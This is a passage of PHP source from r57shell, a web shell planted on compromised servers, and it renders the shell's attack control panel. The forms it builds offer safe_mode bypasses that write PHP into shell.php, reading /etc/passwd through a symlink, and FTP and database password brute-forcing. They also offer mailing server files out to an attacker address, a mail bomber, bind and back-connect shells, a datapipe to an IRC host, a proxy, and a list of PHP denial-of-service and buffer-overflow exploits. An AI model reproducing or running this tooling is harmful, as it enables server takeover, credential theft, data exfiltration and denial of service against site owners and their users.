7116
7117echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
7118
7119echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7120
7121echo $te.'</div>'.$table_end1.$fe;
7122
7123}
7124
7125
7126
7127if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
7128
7129{
7130
7131echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
7132
7133echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7134
7135echo $te.'</div>'.$table_end1.$fe;
7136
7137}
7138
7139
7140
7141if(($safe_mode || $open_basedir) && @function_exists('error_log') && @version_compare(@phpversion(),"5.2.2")<=0)
7142
7143{
7144
7145echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts;
7146
7147echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
7148
7149echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
7150
7151echo $te.'</div>'.$table_end1.$fe;
7152
7153}
7154
7155
7156
7157if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
7158
7159{
7160
7161echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
7162
7163echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
7164
7165echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
7166
7167echo $te.'</div>'.$table_end1.$fe;
7168
7169}
7170
7171
7172
7173if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0)
7174
7175{
7176
7177echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts;
7178
7179echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18'));
7180
7181echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
7182
7183echo $te.'</div>'.$table_end1.$fe;
7184
7185}
7186
7187
7188
7189if(($safe_mode || $open_basedir) && @function_exists('readfile') && @version_compare(@phpversion(),"5.2.2")<=0)
7190
7191{
7192
7193echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
7194
7195echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
7196
7197echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
7198
7199echo $te.'</div>'.$table_end1.$fe;
7200
7201}
7202
7203
7204
7205if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0)
7206
7207{
7208
7209echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
7210
7211echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7212
7213echo $te.'</div>'.$table_end1.$fe;
7214
7215}
7216
7217
7218
7219if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
7220
7221{
7222
7223echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
7224
7225echo "<tr><td valign=top width=70%>".$ts;
7226
7227echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
7228
7229echo $te."</td><td valign=top width=30%>".$ts;
7230
7231echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
7232
7233echo $te."</td></tr>";
7234
7235echo $te.'</div>'.$table_end1;
7236
7237}
7238
7239
7240
7241if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
7242
7243{
7244
7245echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
7246
7247echo "<tr><td valign=top width=70%>".$ts;
7248
7249echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
7250
7251echo $te."</td><td valign=top width=30%>".$ts;
7252
7253echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
7254
7255echo $te."</td></tr>";
7256
7257echo $te.'</div>'.$table_end1;
7258
7259}
7260
7261
7262
7263
7264
7265if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
7266
7267echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
7268
7269echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
7270
7271echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
7272
7273echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
7274
7275echo $te.'</div>'.$table_end1.$fe;
7276
7277}
7278
7279
7280
7281
7282
7283if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
7284
7285echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
7286
7287echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
7288
7289echo "<tr><td valign=top width=50%>".$ts;
7290
7291echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
7292
7293echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
7294
7295echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
7296
7297echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
7298
7299echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
7300
7301echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
7302
7303echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
7304
7305echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
7306
7307echo $te."</td><td valign=top width=50%>".$ts;
7308
7309echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
7310
7311echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
7312
7313echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
7314
7315echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
7316
7317echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
7318
7319echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
7320
7321echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
7322
7323echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
7324
7325echo $te."</td></tr>";
7326
7327echo $te.'</div>'.$table_end1.$fe;
7328
7329}
7330
7331
7332
7333
7334
7335if($select_downloaders){
7336
7337 echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
7338
7339 echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
7340
7341 echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
7342
7343 echo $te.'</div>'.$table_end1.$fe;
7344
7345}
7346
7347
7348
7349echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
7350
7351echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
7352
7353$arh = $lang[$language.'_text92'];
7354
7355if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
7356
7357if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
7358
7359if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
7360
7361echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
7362
7363echo $te.'</div>'.$table_end1.$fe;
7364
7365
7366
7367if(@function_exists("ftp_connect")){
7368
7369echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
7370
7371
7372
7373echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
7374
7375echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
7376
7377echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
7378
7379echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
7380
7381echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
7382
7383echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
7384
7385echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
7386
7387echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
7388
7389
7390
7391echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7392
7393echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
7394
7395echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
7396
7397echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
7398
7399echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
7400
7401echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
7402
7403echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
7404
7405echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
7406
7407echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
7408
7409
7410
7411echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7412
7413echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
7414
7415echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
7416
7417echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
7418
7419echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
7420
7421echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
7422
7423echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
7424
7425echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
7426
7427echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
7428
7429
7430
7431echo $te."</td>".$fe."</tr></div></table>";
7432
7433}
7434
7435
7436
7437
7438
7439if(@function_exists("mail")){
7440
7441echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
7442
7443echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
7444
7445echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
7446
7447echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
7448
7449echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
7450
7451echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
7452
7453echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
7454
7455
7456
7457echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7458
7459echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
7460
7461echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
7462
7463echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
7464
7465echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
7466
7467echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
7468
7469echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
7470
7471echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
7472
7473
7474
7475echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7476
7477echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
7478
7479echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
7480
7481echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
7482
7483echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
7484
7485echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
7486
7487echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
7488
7489echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
7490
7491
7492
7493echo $te."</td>".$fe."</tr></div></table>";
7494
7495}
7496
7497
7498
7499
7500
7501if($mysql_on||$mssql_on||$pg_on||$ora_on||$mysqli_on||$msql_on||$sqlite_on)
7502
7503{
7504
7505$select = '<select name=db>';
7506
7507if($mysql_on) $select .= '<option value=MySQL>MySQL</option>';
7508
7509if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>';
7510
7511if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>';
7512
7513if($ora_on) $select .= '<option value=Oracle>Oracle</option>';
7514
7515if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>';
7516
7517if($msql_on) $select .= '<option value=mSQL>mSQL</option>';
7518
7519if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>';
7520
7521$select .= '</select>';
7522
7523
7524
7525echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
7526
7527echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
7528
7529
7530
7531echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
7532
7533echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
7534
7535echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
7536
7537echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
7538
7539echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
7540
7541echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
7542
7543echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
7544
7545echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
7546
7547echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
7548
7549
7550
7551echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7552
7553echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
7554
7555
7556
7557echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
7558
7559echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
7560
7561echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
7562
7563echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
7564
7565echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
7566
7567echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
7568
7569
7570
7571echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
7572
7573echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
7574
7575
7576
7577echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
7578
7579echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
7580
7581echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
7582
7583echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
7584
7585echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
7586
7587echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
7588
7589
7590
7591echo "</td>".$fe."</tr></div></table>";
7592
7593}
7594
7595
7596
7597
7598
7599if(!$safe_mode && $unix){
7600
7601echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
7602
7603echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
7604
7605echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
7606
7607echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
7608
7609echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
7610
7611echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
7612
7613echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
7614
7615echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
7616
7617echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
7618
7619echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
7620
7621echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
7622
7623echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
7624
7625echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
7626
7627echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
7628
7629echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
7630
7631echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
7632
7633echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
7634
7635echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
7636
7637echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
7638
7639echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
7640
7641echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
7642
7643echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
7644
7645echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
7646
7647echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
7648
7649echo $te."</td>".$fe."</tr></div></table>";
7650
7651}
7652
7653
7654
7655echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts;
7656
7657echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
7658
7659echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
7660
7661echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe);
7662
7663echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe);
7664
7665echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe);
7666
7667echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe);
7668
7669echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe);
7670
7671echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe);
7672
7673echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
7674
7675echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe);
7676
7677echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe);
7678
7679echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe);
7680
7681echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe);
7682
7683echo $te."</td><td valign=top width=25%>".$ts;
7684
7685echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
7686
7687echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe);
7688
